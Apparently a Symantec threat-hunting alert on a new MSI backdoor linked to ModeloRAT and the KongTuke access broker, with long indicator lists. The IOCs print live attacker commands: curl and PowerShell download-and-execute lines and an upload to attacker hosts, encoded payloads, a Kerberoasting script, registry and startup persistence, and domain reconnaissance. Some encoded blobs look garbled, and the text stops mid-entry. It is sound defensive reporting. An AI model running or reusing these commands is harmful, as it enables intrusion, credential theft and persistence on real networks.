



BROADCOM CONFIDENTIAL

## THREAT ALERT

From Threat Hunter Team

# New Backdoor Deployed in Cybercrime attacks

**New tool may be associated with developers of ModeloRAT, which was also used in one attack.**

### Actor:

Unknown

### Actor Aliases:

N/A

### Target Geographies:

All

### Target Sectors:

All

### Attack Motivation:

Cybercrime

## Overview

A relatively new backdoor has been deployed in a number of recent attacks. In one, it was used in conjunction with ModeloRAT, which was also used for remote access and control over infected machines. ModeloRAT is a relatively new Python-based RAT that is developed by a threat group tracked publicly under the name KongTuke. KongTuke reportedly functions primarily as an initial access broker (IAB). Their goal is not to execute the final payload themselves, but to establish highly durable remote access within an enterprise and sell this high-level access to ransomware affiliates for a fee.

The previously undocumented .msi backdoor may be associated with ModeloRAT, as we observed deployment of both tools in close proximity to each other. There is a possibility it may also have been developed by KongTuke. The backdoor can run remote payloads directly in memory. It also has typical backdoor capabilities such as uploading, downloading, moving, renaming and deleting files. It can create folders, modify the frequency with which it checks for commands, and also contains a kill switch that allows it to terminate and delete itself.

## Tools Used:

- **MSI backdoor**
- **Credential stealer**
- **ModeloRAT:** A Python-based Remote Access Trojan (RAT) offering remote access capabilities, used by various threat actors.
- **Curl:** Open-source [command-line tool](#) for transferring data using various network protocols.
- **Reg.exe:** Windows [command line tool](#) that can be used to edit the registry of local or remote computers.
- **Net (net.exe):** [Microsoft tool](#) that can be used to manage network resources.
- **PowerShell:** [Microsoft scripting tool](#) that can be used to run commands, download payloads, traverse compromised networks, and carry out reconnaissance.
- **Certutil:** [Microsoft Windows utility](#) that can be used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates.
- **WMIC (Windows Management Instrumentation):** Microsoft command-line tool that can be used to execute commands on remote computers.

## Indicators of Compromise

SOC analysts should review this alert and hunt on their network for associated indicators of compromise (IOCs). Their presence may indicate a cyberattack in preparation. If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. If you discover any other unknown or unavailable files while hunting, you can [submit them to Symantec for analysis](#).

Symantec products will detect and alert against the behaviors and techniques detailed in this alert. For guidance on how to use Symantec Endpoint Security Complete for Threat Hunting, [please review this document](#).

**SHA256 file hash:** 1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984

**Description:** MSI backdoor

**File name(s):** endpointdlp.dll

**Last seen:** 2026-04-28

**Process lineage(s):**

- cmd.exe <= conhost.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- cmd.exe <= conhost.exe <= explorer.exe

**SHA256 file hash:** 34d798a6c55e57ed0932b6499f4fbc5454bdfca903307be101a0594b0ac07bc

**Description:** Fake Lock Screen

**File name(s):** f.dll

**Last seen:** 2026-03-02

**SHA256 file hash:** 3f797a639bc855bc6d5471f327924b62d10900ddec49b970eca6604142bbb4be

**Description:** MSI backdoor

**File name(s):** aeff97fe.msi

**Last seen:** 2026-04-20

**SHA256 file hash:** 59e3c4cb06331b4f2d78a9a0592f3747e573bd01c5a7650c26361d1e25520712

**Description:** Loader for backdoor

**File name(s):** version.dll

**Last seen:** 2026-05-26

**SHA256 file hash:** 8c935feec4bd05d5d918df308be417532fb42608fb989a08eab183e0ae699235

**Description:** Likely Privilege Escalation

**File name(s):** n.dll

**Last seen:** 2026-03-02

**SHA256 file hash:** afd5f1ed45a9867daf3bc64152cef460a06b164c8183e490db39146d4749a82c

**Description:** MSI backdoor

**File name(s):** endpointdlp.dll

**Last seen:** 2026-04-20

**SHA256 file hash:** db972979d508e75fe730d3b72c2701470fbd0aef8ebdd674744754fa44438ca5

**Description:** MSI backdoor

**File name(s):** endpointdlp.dll

**Last seen:** 2026-04-16

**SHA256 file hash:** f591275a8f014b29e567529d67c54eb7bb4473db1c38737d6bfd5b3d52c9344e

**Description:** MSI backdoor

**File name(s):** 48b47c0.msi

**Last seen:** 2026-04-26

**SHA256 file hash:** fb3630822b70bacb56aa4cec29b5a0e3e9acb3920809e70310a4003385a6d34a

**Description:** MSI backdoor

**File name(s):** endpointdlp.dll

**Last seen:** 2026-05-26

SHA256 file hash: None  
Description: ModeloRAT  
File name(s): powershell.exe  
Last seen: 2026-04-09  
Process lineage(s):

- cmd.exe =<= node.exe =<= node.exe =<= cmd.exe =<= cmd.exe =<= cmd.exe =<= powershell.exe =<= cmd.exe =<= cmd.exe =<= explorer.exe
- cmd.exe =<= rundll32.exe =<= powershell.exe =<= cmd.exe =<= powershell.exe =<= windowsterminal.exe =<= wt.exe =<= explorer.exe =<= userinit.exe =<= winlogon.exe
- powershell.exe =<= cmd.exe =<= cmd.exe =<= explorer.exe
- pythonw.exe =<= pythonw.exe =<= powershell.exe =<= cmd.exe =<= cmd.exe =<= cmd.exe =<= explorer.exe =<= userinit.exe =<= winlogon.exe =<= smss.exe =<= smss.exe
- node.exe =<= node.exe =<= cmd.exe =<= cmd.exe =<= cmd.exe =<= powershell.exe =<= cmd.exe =<= cmd.exe =<= explorer.exe

Command(s):

- "CSIDL\_SYSTEM\windowpowershell\v1.0\powershell.exe" -w h -EncodedCommand  
JABhAHIAyWBoAGkAdgBIAFUAcgBsACAAPQAgACIAaAB0AHQAcAA6AC8ALwAxADQANAAuADMAMQAUADUAMwAuADcAOAA6ADgAMAaV  
AGYAAQBuaGEBAAxADAAlgAKACQAZABhAHQAYQBQAGEAdAB0AACAAPQAgACIAJABIAG4AdgA6AEEAAUABQAEQAQQBUAEEEXABPAE  
YARgBJAEMARQAIAA0AJABKAG8AdwBuAGwAbwBhAGQUABhAHQAaAAgAD0AIAAIAcQAZABhAHQAYQBQAGEAdAB0AFwAYQByAGMA  
aABpAHYAZQAUaHoAQBwACIACgAkAGUAEAB0AHIAyQBjAHGQUABhAHQAaAAgAD0AIAAIAcQAZABhAHQAYQBQAGEAdAB0ACIACgAK  
AHAeQB0AGgAbwBuAFMAYwByAGkAcAB0ACAAPQAgACIAJABKAGEAdABhAFAAYQB0AGgAXAB0AGUAbABsAG8ALQBIAHIAbwAuAHAA  
eQB3ACIACgAKAHQAeQB0AGgAbwBuAHcAUABhAHQAaAAgAD0AIAAIAcQAZABhAHQAYQBQAGEAdAB0AFwAcAB5AHQAaABVAG4AdwAu  
AGUAEABIAcIACgAKAHQAeQB0AGgAbwBuAHcAUABhAHQAaAAgAD0AIAAIAcQAZABhAHQAYQBQAGEAdAB0ACIACgAKAHQAeQB0AGg  
AZABhAHQAYQBQAGEAdAB0ACkAKQAgAHsACgAgACAIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAALQBIAHQAQZQBIAFQAEQB  
wAGUAIABEAGkAcgBIAGMAdABVHIAeQAGAC0AUABhAHQAaAAgAD0AIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAALQBIAHQAQZQBIAFQAEQB  
AcgByAG8AcgBBAGMAdABPAG8AbgAgAFMAdABVAHAIAAB8ACAATwB1AHQALQBOAHUAbABsAAoAIAAGACAAIAB9AAoAIAAGACAAIABJA  
G4AdgBvAGsAZQATAFcAZQBIAFIAZQBzAHUAZQBzAHQAIAAtAFUAcgBpACAABJABhAHIAyWBoAGkAdgBIAFUAcgBsACAALQBPAHUADABG  
AGkAbABIAcAAJABKAG8AdwBuAGwAbwBhAGQUABhAHQAaAAgAD0AIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAALQBIAHQAQZQBIAFQAEQB  
AIABPAHUADAAAE4AdQBSAGwACgAGACAIAAIAcQAZABhAHQAYQBQAGEAdAB0AGMAaABpAHYAZQAGAC0AUABhAHQAaAAgAD0AIAAIAcQAZA  
BvAHcAbgBsAG8AYQBkAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBwAGEAdABPAG8AbgBQAGEAdAB0ACAAJABIAHGAAdABYAGEAYwB0AF  
AAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAALwB0AG8AcAAgAHwAIABPAHUADAAAE4AdQBSAGwACgA  
BsAGwACgAgACAIAAIAcQAZABhAHQAYQBQAGEAdAB0AC0AS0B0AGUAbQAgAC0AUABhAHQAaAAgAD0AIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAIAAIAcQAZA  
BvAHcAbgBsAG8AYQBkAFAAYQB0AGgAIAAtAEQAZQBzAHQAaQBwAGEAdABPAG8AbgBQAGEAdAB0ACAAJABIAHGAAdABYAGEAYwB0AF  
AAYQB0AGgAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAALwB0AG8AcAAgAHwAIABPAHUADAAAE4AdQBSAGwACgA  
IAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAALwB0AG8AcAAgAHwAIABPAHUADAAAE4AdQBSAGwACgA  
gACAIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAIAAIAcQAZA  
IAAGACAAIABTAAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAALQBIAHQAQZQBIAFQAEQB0AGgAIAAIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAIAAIAcQAZA  
HQAAAGAC0AQQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAIAAGAAIAGAAIAAIAcQAZABhAHQAYQBQAGEAdAB0AGUAbwBuAFMAYwByAGkAcAB0AGAAIAGAAIAAIAcQAZA  
BXAGkAbgBkAG8AdwBTAHQAEQBAGUAIABIAAGkAZABKAGUAbgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAALwB0AG8AcAAgAHwAIABPAHUADAAAE4AdQBSAGwACgA  
QAbAB5AEMAbwBuAHQAaQBwAHUAZQAKACAIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAIAAIAcQAZABhAHQAYQBQAGEAdAB0ACAAIAAIAcQAZA  
VwByAGkAdABIAc0AVwBhAHIAbgBpAG4AZwAgACIAcAB5AHQAaABVAG4AdwAuAGUAEABIAcABgBvAHQAIAABmAG8AdQBwAGQAIABhAH  
QAIABKAAHAeQB0AGgAbwBuAHcAUABhAHQAaAAgAD0AIAAIAcQAZABhAHQAYQBQAGEAdAB0AGMAaABpAHYAZQAGAC0AUABhAHQAaAAgAD0AIAAIAcQAZA
- powershell -Command "\$searcher = [adsisearcher](&(objectCategory=user)(description=\*))"; \$searcher.PropertiesToLoad.Add('samaccountname'); \$searcher.PropertiesToLoad.Add('description'); \$results = \$searcher.FindAll(); foreach (\$result in \$results) { \$result.Properties['samaccountname'][0] + ' - ' + \$result.Properties['description'][0] }
- powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "\$vbsContent = @' Set WshShell = CreateObject(' WScript.Shell') command = 'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command '\nStart-Sleep -Seconds 6; 1; 'AF'; cd \$env: appdata\WPy64-31401\python; 6; \nLP'; \pythonw.exe \nlib.py'\n' WshShell.Run command, 0, False Set WshShell = Nothing '@; \$vbsPath = '\\$env:APPDATA\WPy64-31401\python\script.vbs'; \$vbsContent | Out-File -FilePath \$vbsPath -Encoding ASCII; \$WshShell = New-Object -comObject WScript.Shell; \$Shortcut = \$WshShell.CreateShortcut('\\$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Applint.ink'); \$Shortcut.TargetPath = \$vbsPath; 2; [REMOVED] }
- powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "'FGBV'; 4; 4; iwr -Uri 'https://www.dropbox.com/scl/fi/zq7sum8y4twn3ep09xm3g/internal.py?rkey=b7666ibal423tyu52b72qkzns&st=qporszvi&dl=1' -OutFile ' ' \$env: appdata\WPy64-31401\python\internal.py"; 3; 5; ' ' '; cd \$env: appdata\WPy64-31401\python; \pythonw.exe \internal.py "
- powershell -c "\$Null=[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel'); \$a=[REMOVED]; \$b=[REMOVED]; \$c=New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken \$a,\$d=\$c.GetRequest(); if(\$d){\$e=([System.BitConverter]::ToString(\$d)-replace '-'); \$f=[System.Collections.ArrayList](\$e -replace '(.\*?)04820...(.\*?)', '\$2') -split 'A48201'; \$f.RemoveAt(\$f.Count-1); \$g=\$f-join 'A48201'; \$g=\$g.Insert(32, '\$'); Write-Output('\$krb5tgs\$23\$'+\$b+'/'+'\$a+'+'\$'+\$g)}"
- powershell -c "([adsisearcher](&(objectCategory=user)(servicePrincipalName=))).FindAll()"
- powershell -c "setspn -T [REMOVED] -Q '\*' | ForEach-Object -Begin {\$x=\$false} -Process {if(\$\_ -match '^CN=') {if(\$\_ -match '^CN=krbtgt' -or \$\_ -match '^CN=Computers,' -or \$\_ -match '^OU=Domain Controllers') {\$x=\$true} else {\$x=\$false;}; \$\_} elseif(!\$x -and \$\_ -ne ' '){'+\$\_ -Trim()}"
- powershell -w h "([adsisearcher](&(objectCategory=User)(servicePrincipalName=))).FindAll()"
- powershell.exe -ExecutionPolicy bypass -Command "\$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel'); \$search = New-Object DirectoryServices.DirectorySearcher([ADSISearcher]); \$search.filter = '(&(servicePrincipalName=\*)(objectCategory=user))'; \$results = \$search.FindAll(); foreach (\$results in \$results) { \$u = \$results.GetDirectoryEntry(); \$samAccountName = \$u.samAccountName; foreach (\$s in \$u.servicePrincipalName) { \$Ticket = \$Null; try { \$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \$s; } catch [System.Management.Automation.MethodInvocationException] {} if (\$Ticket -ne \$Null) { \$TicketByteStream = \$Ticket.GetRequest(); if (\$TicketByteStream) { \$TicketHexStream = [System.BitConverter]::ToString(\$TicketByteStream) -replace '-'; [System.Collections.ArrayList]\$Parts = (\$TicketHexStream -replace '^(\.?|04820...(.\*?)', '\$2') -split 'A48201'; \$Parts.RemoveAt(\$Parts.Count - 1); \$Hash = \$Parts -join 'A48201'; try { \$Hash = \$Hash.Insert(32, '\$'); \$HashFormat = '\$krb5tgs\$23\$'+ \$samAccountName + '/' + \$s + '\$'+ \$Hash; Write-Host \$HashFormat; break; } catch [System.Management.Automation.MethodInvocationException] {} } } }
- powershell.exe -c "chcp 65001 > \$Null 2>&1 | Get-NetNeighbor -AddressFamily IPv4 | Where-Object { \$\_.State -ne 'Permanent' } | Select-Object @({Name='Interface'; Expression=(\$\_.InterfaceAlias)}, @({Name='Internet Address'; Expression=(\$\_.IPAddress)}, @({Name='Physical Address'; Expression=(\$\_.LinkLayerAddress)}), @({Name='Type'; Expression='{dynamic}'}) | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > \$Null 2>&1 | Get-PSDrive -PSProvider FileSystem | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > \$Null 2>&1 | Get-Service | Select-Object -Property Name, DisplayName | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > \$Null 2>&1 | systeminfo /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > \$Null 2>&1 | tasklist /svc /FO CSV | ConvertFrom-Csv | ConvertTo-Json"

**SHA256 file hash:** None

**Description:** Gather System Information

**File name(s):** powershell.exe

**Last seen:** 2026-04-07

**Process lineage(s):**

- node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- node.exe <= node.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- powershell.exe -c "chcp 65001 > \$null 2>&1 ; Get-NetNeighbor -AddressFamily IPv4 | Where-Object { \$\_.State -ne 'Permanent' } | Select-Object @{Name='Interface'; Expression={\$\_.InterfaceAlias}}, @{Name='Internet Address'; Expression={\$\_.IPAddress}}, @{Name='Physical Address'; Expression={\$\_.LinkLayerAddress}}, @{Name='Type'; Expression={'dynamic'}} | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > \$null 2>&1 ; Get-PSDrive -PSProvider FileSystem | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > \$null 2>&1 ; Get-Service | Select-Object -Property Name, DisplayName | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > \$null 2>&1 ; systeminfo /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > \$null 2>&1 ; tasklist /svc /FO CSV | ConvertFrom-Csv | ConvertTo-Json"

**SHA256 file hash:** None

**Description:** Curl

**File name(s):** curl.exe

**Last seen:** 2026-04-27

**Process lineage(s):**

- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= mpextms.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- cmd.exe <= cmd.exe <= powershell.exe <= mpextms.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe
- cmd.exe <= cmd.exe <= mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe
- cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= conhost.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- cmd.exe <= explorer.exe
- cmd.exe <= cmd.exe <= explorer.exe

**Command(s):**

- curl -s https://mueleer.com/t2?tk=[REMOVED] -o CSIDL\_PROFILE\appdata\local\temp\t.cmd
- curl -s https://oeannon.com/t2?tk=[REMOVED] -o CSIDL\_PROFILE\appdata\local\temp\t.cmd
- curl -s https://www.upd-domain-goloro.com/kwenrfewk.ico
- curl -sLo CSIDL\_PROFILE\appdata\local\temp\t.cmd https://oeannon.com/t2?tk=[REMOVED]
- curl -skLo CSIDL\_PROFILE\appdata\local\temp\xt https://cj06y9v4xab.com/d
- curl -v -X POST https://ftps.upd-domain-goloro.com/Swd0dvicMtA0lsCvtlJg -H "Content-Type: application/octet-stream" --data-binary "[REMOVED]" --max-time 300
- curl -v https://defs.updater-worelos.com/node.zip -o CSIDL\_PROFILE\appdata\local\temp\node.zip
- curl -v https://www.rotoa-upda-lo.com/oekhdsw9ogr7w.rtf
- curl https://defs.updater-worelos.com/goEG38PtmVX651vNwmWp@ -o CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log
- curl https://ftps.upd-domain-goloro.com/WQFwWMfA4st6dvQ5feu7@ -o CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log
- curl https://grande-luna.top/o
- curl https://human-check.top/o

**SHA256 file hash:** None

**Description:** Command for screen capture

**File name(s):** screenshot\_1.3.2.exe

**Last seen:** 2026-04-08

**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- screenshot\_1.3.2.exe CSIDL\_PROFILE\appdata\local\temp\[REMOVED].png

**SHA256 file hash:** None  
**Description:** ModeloRAT  
**File name(s):** pythonw.exe  
**Last seen:** 2026-05-07  
**Process lineage(s):**

- powershell.exe <= geocdr.exe <= svchost.exe <= services.exe <= wininit.exe
- pythonw.exe <= pythonw.exe <= powershell.exe <= explorer.exe <= userinit.exe <= kusrinit.exe <= winlogon.exe
- pythonw.exe <= powershell.exe <= explorer.exe <= userinit.exe <= kusrinit.exe <= winlogon.exe
- pythonw.exe <= powershell.exe <= geocdr.exe <= svchost.exe <= services.exe <= wininit.exe
- pythonw.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe
- pythonw.exe <= powershell.exe <= powershell.exe <= mpextms.exe <= msieexec.exe <= services.exe <= wininit.exe <= smss.exe <= smss.exe
- pythonw.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe
- powershell.exe <= powershell.exe <= mpextms.exe <= msieexec.exe <= services.exe <= wininit.exe <= smss.exe <= smss.exe

**Command(s):**

- "CSIDL\_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe" CSIDL\_PROFILE\appdata\roaming\wpy64-31401\python\collector.py
- CSIDL\_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe CSIDL\_PROFILE\appdata\local\temp\hewlett-packard7390.py
- CSIDL\_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe CSIDL\_PROFILE\appdata\roaming\proxy-3671643378.py
- CSIDL\_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe CSIDL\_PROFILE\appdata\roaming\wpy64-31401\python\nlib.py start
- CSIDL\_PROFILE\appdata\roaming\wpy64-31401\python\pythonw.exe CSIDL\_PROFILE\appdata\roaming\wpy64-31401\python\prmanager.py start

**SHA256 file hash:** None  
**Description:** Reg  
**File name(s):** reg.exe  
**Last seen:** 2026-04-07  
**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AnyDesk" /t REG\_SZ /d "\"CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe" "\"CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log" /f

**SHA256 file hash:** None  
**Description:** MSI backdoor  
**File name(s):** rundll32.exe  
**Last seen:** 2026-04-27  
**Process lineage(s):**

- cmd.exe <= conhost.exe <= explorer.exe

**Command(s):**

- rundll32 endpointlp.dll,#1

**SHA256 file hash:** None  
**Description:** Net  
**File name(s):** net1.exe  
**Last seen:** 2026-04-07  
**Process lineage(s):**

- net.exe <= cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- CSIDL\_SYSTEM\net1 user [REMOVED] /domain
- net1 group "Domain Computers" /domain
- net1 group "Domain Controllers" /domain
- net1 session

**SHA256 file hash:** None

**Description:** WMIC

**File name(s):** wmic.exe

**Last seen:** 2026-03-13

**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

**Command(s):**

- wmic process where "name=[REMOVED] get Name,CreationDate,CommandLine,ProcessId"

**SHA256 file hash:** None

**Description:** Net

**File name(s):** net1.exe

**Last seen:** 2026-03-13

**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe
- net.exe <= cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

**Command(s):**

- CSIDL\_SYSTEM\net1 user [REMOVED] /domain
- net1 group "Domain [REMOVED] /domain "
- net1 group "Domain [REMOVED] /domain "
- net1 session

**SHA256 file hash:** None

**Description:** Curl

**File name(s):** curl.exe

**Last seen:** 2026-04-07

**Process lineage(s):**

- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- curl -s https://mueleer.com/t2?tk=[REMOVED] -o CSIDL\_PROFILE\appdata\local\temp\t.cmd
- curl -v -X POST https://nano.upscale-kolo.com/7YGWuUADJn977XeR90rp -H "[REMOVED]" --max-time 300
- curl -v https://www.upscale-kolo.com/uiohn4fbjzdx.img
- curl https://human-check.top/o
- curl https://update.update-fall.com/7YGWuUADJn977XeR90rp@ -o CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log

**SHA256 file hash:** None

**Description:** Curl

**File name(s):** powershell.exe

**Last seen:** 2026-05-25

**Process lineage(s):**

- winrar.exe <= outlook.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- "CSIDL\_SYSTEM\windowpowershell\v1.0\powershell.exe" -w h -c start curl -args '194.87.57.81/nfg6','-o','CSIDL\_COMMON\_APPDATA\t.cmd'; sleep 5;CSIDL\_COMMON\_APPDATA\t.cmd

**SHA256 file hash:** None

**Description:** Node

**File name(s):** node.exe

**Last seen:** 2026-04-16

**Process lineage(s):**



```

04,111,110,119,46,101,120,101,32,45,65,114,103,117,109,101,110,116,76,105,115,116,32,36,101,110,118,58,97,112,112,100,97,116,97,92,87,
80,121,54,52,45,51,49,52,48,49,92,112,121,116,104,111,110,92,80,109,97,110,97,103,101,114,46,112,121,59,32,83,116,97,114,116,45,83,108,
101,101,112,32,45,83,101,99,111,110,100,115,32,53)))"
• powershell -Command "$searcher = [adsisearcher]'(&(objectCategory=user)(description=*))'; $searcher.PropertiesToLoad.Add
('samaccountname'); $searcher.PropertiesToLoad.Add('description'); $results = $searcher.FindAll(); foreach ($result in $results) { $result.
Properties['samaccountname'][0] + ' - ' + $result.Properties['description'][0] }"
• powershell -NoProfile -Command "([adsisearcher]'(&(objectCategory=computer)(operatingSystem=server))').FindAll() | ForEach-Object { $_.
Properties.name }"
• powershell -w hidden -nop -c "$f=[io.path]::GetTempPath()+'.bat';(irm 'https://www.upd-domain-goloro.com/lkwenrfewk.ico') -replace '%([a-
z])', '%$1|sc $f;cmd /v:on /c $f;ri $f'"
• powershell.exe -NonInteractive -nop -w hidden -EncodedCommand
JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZgBIAHIAZQBbuAGMAZQA9ACcAUwBpAGwAZQBbuAHQAAbAB5AEMAbwBuAHQAaQBbuAHUAZQ
AnADsAJABFAHIAcgvBvAHIAQQBjAHQAaQBvAG4AUABYAGUAZgBIAHIAZQBbuAGMAZQA9ACcAUwBpAGwAZQBbuAHQAAbAB5AEMAbwBuAH
QAaQBbuAHUAZQAnADsAYwBtAGQALgBIAHgAZQAAGAC8AdgA6AG8AbgAgAC8AYwAgACcAcwBIAHQAIaIAeQAPQBIAGMaAaBvAC4AIgAg
ACYAIAAoACAAZgBvAHIAIAAvAEYAIaAIAgQAZQBzAGkAbQBzAD0AIgAgACUAbAAgAGkAbgAgAgCgAJwAnAGMAAdQByAGwAIAAtAHYAIABo
AHQAAdABwAHMAOgAvAC8AdwB3AHcALgByAG8AdABvAGEALQB1AHAAZABhAC0AbABvAC4AYwBvAG0ALwBvAGUAawBoAGQAacwBmAHc
AOQBvAGcAcgA3AHcALgByAHQAZgAnACcAKQAAGAGQAbwAgAHMAZQB0ACAAIgbEAD0AIQBEACEIAIAmACAAJQBsACIAIAApACAAJgAg
AGMAbQBkAC4AZQB4AGUAIAAvAHYAOGvBvAG4AIAAvAGMAIAAhAEQAIAQAnAA==
• powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-NetNeighbor -AddressFamily IPv4 | Where-Object { $_.State -ne 'Permanent' } | Select-Object
@{Name='Interface'; Expression={$_.InterfaceAlias}}, @{Name='Internet Address'; Expression={$_.IPAddress}}, @{Name='Physical Address';
Expression={$_.LinkLayerAddress}}, @{Name='Type'; Expression='{dynamic}'} | ConvertTo-Json"
• powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-PSDrive -PSPProvider FileSystem | ConvertTo-Json"
• powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-Service | Select-Object -Property Name, DisplayName | ConvertTo-Json"
• powershell.exe -c "chcp 65001 > $null 2>&1 ; systeminfo /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
• powershell.exe -c "chcp 65001 > $null 2>&1 ; tasklist /svc /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
• powershell.exe -ep bypass -c iex (-join [char[]]@
(10,105,119,114,32,104,116,116,112,58,47,47,49,52,50,46,57,51,46,50,52,50,46,49,52,52,58,51,52,53,54,47,111,32,45,117,115,101,98,32,124,
32,105,101,120,32,10,32,32,32,32))

```

**SHA256 file hash:** None

**Description:** Net

**File name(s):** net.exe

**Last seen:** 2026-04-08

**Process lineage(s):**

- powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- "CSIDL\_SYSTEM\net.exe" group "Domain Computers" /domain
- net group [REMOVED]/domain
- net user [REMOVED]
- net view /domain
- net view [REMOVED]

**SHA256 file hash:** None

**Description:** Net

**File name(s):** net.exe

**Last seen:** 2026-04-07

**Process lineage(s):**

- powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

